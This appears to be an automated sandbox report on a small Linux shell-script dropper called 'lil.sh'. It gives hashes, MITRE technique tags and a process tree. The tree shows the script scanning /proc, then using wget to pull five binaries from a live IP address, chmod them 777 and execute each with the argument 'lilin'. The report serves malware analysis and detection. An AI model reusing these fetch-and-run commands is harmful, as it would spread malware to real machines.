8e502016a2e93832924a1a4a558ed18b05a13cca02bddcf0bcf9e32aed781753

Analysis

max time kernel
150s
max time network
147s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
02/06/2026, 07:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lil.sh
Size 839B
Sample260602-jevlfsf19x
SHA256 8e502016a2e93832924a1a4a558ed18b05a13cca02bddcf0bcf9e32aed781753
MD5 bc9c77eed42680f1b71ddd3eff75bfba
SHA1 78972c3038b4be9a1d89e97317ff400b47ff3890
SHA512 142b734778b17b712c796941ed755d3e1155c8b3c4e6f2073ab0aea6fece80f837b311c2cef888aa3de3156a0f71186d1380dc7e6cb92ee808c242fd1db4da22
TLSH
T1DC01EFCFC001CB90C1D6F49C32C75584F821C3CB25168BB4BEAC443D8BE6A58B066F84
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
909	chmod
856	chmod
865	chmod
896	chmod
901	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/4UL	857	lil.sh
/tmp/RKuZ	866	lil.sh
/tmp/TRH1	897	lil.sh
/tmp/Yt2	902	lil.sh
/tmp/AmP	910	lil.sh

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1/cmdline	AmP
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/77/cmdline	AmP
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/23/cmdline	AmP
File opened for reading	/proc/351/cmdline	AmP
File opened for reading	/proc/717/cmdline	AmP
File opened for reading	/proc/12/cmdline	AmP
File opened for reading	/proc/110/cmdline	AmP
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/715/cmdline	AmP
File opened for reading	/proc/913/cmdline	AmP
File opened for reading	/proc/127/cmdline	AmP
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/2/cmdline	AmP
File opened for reading	/proc/17/cmdline	AmP
File opened for reading	/proc/327/cmdline	AmP
File opened for reading	/proc/stat	AmP
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/9/cmdline	AmP
File opened for reading	/proc/387/cmdline	AmP
File opened for reading	/proc/670/cmdline	AmP
File opened for reading	/proc/37/cmdline	AmP
File opened for reading	/proc/76/cmdline	AmP
File opened for reading	/proc/82/cmdline	AmP
File opened for reading	/proc/172/cmdline	AmP
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/36/cmdline	AmP
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/14/cmdline	AmP
File opened for reading	/proc/714/cmdline	AmP
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/18/cmdline	AmP
File opened for reading	/proc/24/cmdline	AmP
File opened for reading	/proc/353/cmdline	AmP
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/19/cmdline	AmP
File opened for reading	/proc/22/cmdline	AmP
File opened for reading	/proc/74/cmdline	AmP
File opened for reading	/proc/678/cmdline	AmP
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/912/cmdline	AmP
File opened for reading	/proc/914/cmdline	AmP
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/439/cmdline	AmP
File opened for reading	/proc/filesystems	ls

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/4UL	wget
File opened for modification	/tmp/RKuZ	wget
File opened for modification	/tmp/TRH1	wget
File opened for modification	/tmp/Yt2	wget
File opened for modification	/tmp/AmP	wget
File opened for modification	/tmp/lil	lil.sh

/tmp/lil.sh
/tmp/lil.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:717
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  PID:719
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  - Reads runtime system information
  PID:726
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  - Reads runtime system information
  PID:730
- /bin/ls
  ls -l /proc/110/exe
  2⤵
  PID:735
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  - Reads runtime system information
  PID:738
- /bin/ls
  ls -l /proc/126/exe
  2⤵
  - Reads runtime system information
  PID:740
- /bin/ls
  ls -l /proc/127/exe
  2⤵
  PID:741
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  PID:744
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  - Reads runtime system information
  PID:747
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  PID:748
- /bin/ls
  ls -l /proc/155/exe
  2⤵
  PID:750
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  PID:752
- /bin/ls
  ls -l /proc/162/exe
  2⤵
  PID:753
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  PID:754
- /bin/ls
  ls -l /proc/172/exe
  2⤵
  - Reads runtime system information
  PID:755
- /bin/ls
  ls -l /proc/179/exe
  2⤵
  - Reads runtime system information
  PID:756
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  - Reads runtime system information
  PID:758
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  PID:759
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  PID:760
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  PID:761
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  PID:762
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  PID:763
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  - Reads runtime system information
  PID:764
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  - Reads runtime system information
  PID:765
- /bin/ls
  ls -l /proc/241/exe
  2⤵
  PID:766
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  PID:767
- /bin/ls
  ls -l /proc/327/exe
  2⤵
  PID:768
- /bin/ls
  ls -l /proc/329/exe
  2⤵
  - Reads runtime system information
  PID:769
- /bin/ls
  ls -l /proc/351/exe
  2⤵
  - Reads runtime system information
  PID:770
- /bin/ls
  ls -l /proc/353/exe
  2⤵
  - Reads runtime system information
  PID:771
- /bin/ls
  ls -l /proc/354/exe
  2⤵
  PID:772
- /bin/ls
  ls -l /proc/355/exe
  2⤵
  PID:773
- /bin/ls
  ls -l /proc/36/exe
  2⤵
  - Reads runtime system information
  PID:774
- /bin/ls
  ls -l /proc/37/exe
  2⤵
  - Reads runtime system information
  PID:775
- /bin/ls
  ls -l /proc/383/exe
  2⤵
  PID:776
- /bin/ls
  ls -l /proc/385/exe
  2⤵
  PID:777
- /bin/ls
  ls -l /proc/387/exe
  2⤵
  PID:778
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  - Reads runtime system information
  PID:779
- /bin/ls
  ls -l /proc/439/exe
  2⤵
  - Reads runtime system information
  PID:780
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  PID:781
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  PID:782
- /bin/ls
  ls -l /proc/670/exe
  2⤵
  PID:783
- /bin/ls
  ls -l /proc/676/exe
  2⤵
  PID:784
- /bin/ls
  ls -l /proc/678/exe
  2⤵
  PID:785
- /bin/ls
  ls -l /proc/680/exe
  2⤵
  PID:786
- /bin/ls
  ls -l /proc/681/exe
  2⤵
  - Reads runtime system information
  PID:787
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  - Reads runtime system information
  PID:788
- /bin/ls
  ls -l /proc/70/exe
  2⤵
  PID:789
- /bin/ls
  ls -l /proc/707/exe
  2⤵
  PID:790
- /bin/ls
  ls -l /proc/708/exe
  2⤵
  - Reads runtime system information
  PID:791
- /bin/ls
  ls -l /proc/71/exe
  2⤵
  - Reads runtime system information
  PID:792
- /bin/ls
  ls -l /proc/712/exe
  2⤵
  - Reads runtime system information
  PID:793
- /bin/ls
  ls -l /proc/714/exe
  2⤵
  - Reads runtime system information
  PID:794
- /bin/ls
  ls -l /proc/715/exe
  2⤵
  - Reads runtime system information
  PID:795
- /bin/ls
  ls -l /proc/717/exe
  2⤵
  PID:796
- /bin/ls
  ls -l /proc/718/exe
  2⤵
  PID:797
- /bin/ls
  ls -l /proc/72/exe
  2⤵
  - Reads runtime system information
  PID:798
- /bin/ls
  ls -l /proc/73/exe
  2⤵
  - Reads runtime system information
  PID:799
- /bin/ls
  ls -l /proc/74/exe
  2⤵
  PID:800
- /bin/ls
  ls -l /proc/75/exe
  2⤵
  - Reads runtime system information
  PID:801
- /bin/ls
  ls -l /proc/76/exe
  2⤵
  - Reads runtime system information
  PID:802
- /bin/ls
  ls -l /proc/77/exe
  2⤵
  - Reads runtime system information
  PID:803
- /bin/ls
  ls -l /proc/79/exe
  2⤵
  PID:804
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  PID:805
- /bin/ls
  ls -l /proc/80/exe
  2⤵
  PID:806
- /bin/ls
  ls -l /proc/82/exe
  2⤵
  PID:807
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  - Reads runtime system information
  PID:808
- /bin/rm
  rm -rf 4UL
  2⤵
  PID:810
- /usr/bin/wget
  wget http://188.132.232.81/4UL
  2⤵
  - Writes file to tmp directory
  PID:812
- /bin/chmod
  chmod 777 4UL
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/4UL
  ./4UL lilin
  2⤵
  PID:857
- /bin/rm
  rm -rf RKuZ
  2⤵
  PID:859
- /usr/bin/wget
  wget http://188.132.232.81/RKuZ
  2⤵
  - Writes file to tmp directory
  PID:860
- /bin/chmod
  chmod 777 RKuZ
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/RKuZ
  ./RKuZ lilin
  2⤵
  PID:866
- /bin/rm
  rm -rf TRH1
  2⤵
  PID:870
- /usr/bin/wget
  wget http://188.132.232.81/TRH1
  2⤵
  - Writes file to tmp directory
  PID:871
- /bin/chmod
  chmod 777 TRH1
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/TRH1
  ./TRH1 lilin
  2⤵
  PID:897
- /bin/rm
  rm -rf Yt2
  2⤵
  PID:899
- /usr/bin/wget
  wget http://188.132.232.81/Yt2
  2⤵
  - Writes file to tmp directory
  PID:900
- /bin/chmod
  chmod 777 Yt2
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/Yt2
  ./Yt2 lilin
  2⤵
  PID:902
- /bin/rm
  rm -rf AmP
  2⤵
  PID:904
- /usr/bin/wget
  wget http://188.132.232.81/AmP
  2⤵
  - Writes file to tmp directory
  PID:905
- /bin/chmod
  chmod 777 AmP
  2⤵
  - File and Directory Permissions Modification
  PID:909
- /tmp/AmP
  ./AmP lilin
  2⤵
  - Reads runtime system information
  PID:910
- /bin/rm
  rm -rf lil
  2⤵
  PID:915

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

4UL

Path /tmp/4UL
Size 61KB
SHA256 8b7f63b9756b26e8c501e1125cbe71e8a9703380319b356a5783cb2ee9bde6b0
MD5 50343a83b92b55581f32464f6cf4a2c6
SHA1 fa8e5faadc40da32461eaa58df0e78a49921842f
SHA512 d527f992bcc19376309718c6985e80247f58663b2392bd621271b0b407dd9cbff647b2140685351c95bbe3bd13d3cbe14b6dcd14ff73684b93e52de8cfea3421
SSDEEP 1536:O7ERgr26KQpiSrZm2/1MqDLWUgaVI5Z85p5gl5555555555555vVwJb3F20H6Gur:O7E6roQpvr1h3RgYuq5p5gl55555555D
TLSH
T115534D55B8469F1AC7C51537BA0F8349337763E8E2FF3103EA056F55778B82A0E2A446
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

AmP

Path /tmp/AmP
Size 81KB
SHA256 d009ccce0d8376ea85d47688b1c8a8bfd14c872f57b1a54c478db81ff8b3d824
MD5 ff1af0a363aabdd9f359a8f8ced94caa
SHA1 0ff1c1856ba81285cfb7300ed72961c6a3f1c55e
SHA512 241d053c72c9d579fefc9bf3ab980d6dc5001e7075084022d9d4ae4a5347b0024bcb61e200ece90f20046221358c235642676a2ec8cc8768e4d1cd37d9795bbd
SSDEEP 1536:4WeMmv2Y84+xoC4zT4MsIqQHgY87A86w2u+auFP:4FMUQ/vQd2eau
TLSH
T1AB83A509AB705EBBD82BEC3704AC1A0378CD970B61683B753574D418BE9794F8AD3CA5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RKuZ

Path /tmp/RKuZ
Size 61KB
SHA256 060a1e8004c65c263465ddc69b922d0a21a24df7937c81d0b02df843aaaf9ef1
MD5 fbd2b492990d6e1836e79822924682e5
SHA1 ea22a943d4c93905e35d48450aa7fc925f9f01be
SHA512 99fef84c1ecccf216f69b7f3f35b05800ac0410fd367478221b59d9c954f680297564bd47a40b79a9e3f3f21c7292440e5035b4e1db6612594de8c25d596215e
SSDEEP 1536:KXn5HEfefPgaHy26KDFrKsUMSijKIZ9f9tc2u+au:0P3gay26KPKIZ9f9tceau
TLSH
T1D6531A15B9829F15C6C1157BB90E634E732367BCE3DF7203EE046B24378B96B0E2A546
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

TRH1

Path /tmp/TRH1
Size 73KB
SHA256 1c2d1d9ecb87244d05ea1deea22e70a493a8a7afbfdbc33dffbd150fbca25fa3
MD5 1a4bdda0a394b4d906fd1d9d2d14714f
SHA1 c4fce6608cec89c39f424c06c633e47b636a662c
SHA512 549fc124fa9019468bddd3396ec35f24becf6dc7a7c6a0ad334a05ad35efff67919b893d0d4176f9773f0020148c50af12435a0ab92849d49611f48797dcd855
SSDEEP 1536:jXnrTFVx6hsaPyOdWTpUVbYW6mcWllhjikDuOW5N2u+au:JGhsSyOdWNUVbYW6sJDuOuNeau
TLSH
T130732919B941AF15D6C5257BFE0E634A336367ACE3EE7102EA002B1437CBA5F0F26542
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Yt2

Path /tmp/Yt2
Size 81KB
SHA256 28fde24303fda8166ac931941ced69d0c356f832e6391e6afa817dcfe3b866bc
MD5 30b15d4765afd43312237ded5ea2d451
SHA1 6f6e1513374cafbdadc39d53130e3dd0c63fd0df
SHA512 1998e76d1638e6c1878f8df504208b3d7277c1e11a0efa12a84576d45dfa25b00a416e1271e1ab6cc023e9fa6d128dda4cd2e46d956ccc535b3f7b2d22fdb2fc
SSDEEP 1536:mLDVfyxx3NBcIFrxVOs+ee1IBCcT9Y2u+ihwhmbEtFuvx5c88QG42u+auCnb:mLD6JrjsFqi3eaumb
TLSH
T14E83B70B3F219FACF3A9833547B39E35969963D122E5C284D29CD5002E7474E690F7AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lil

Path /tmp/lil
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads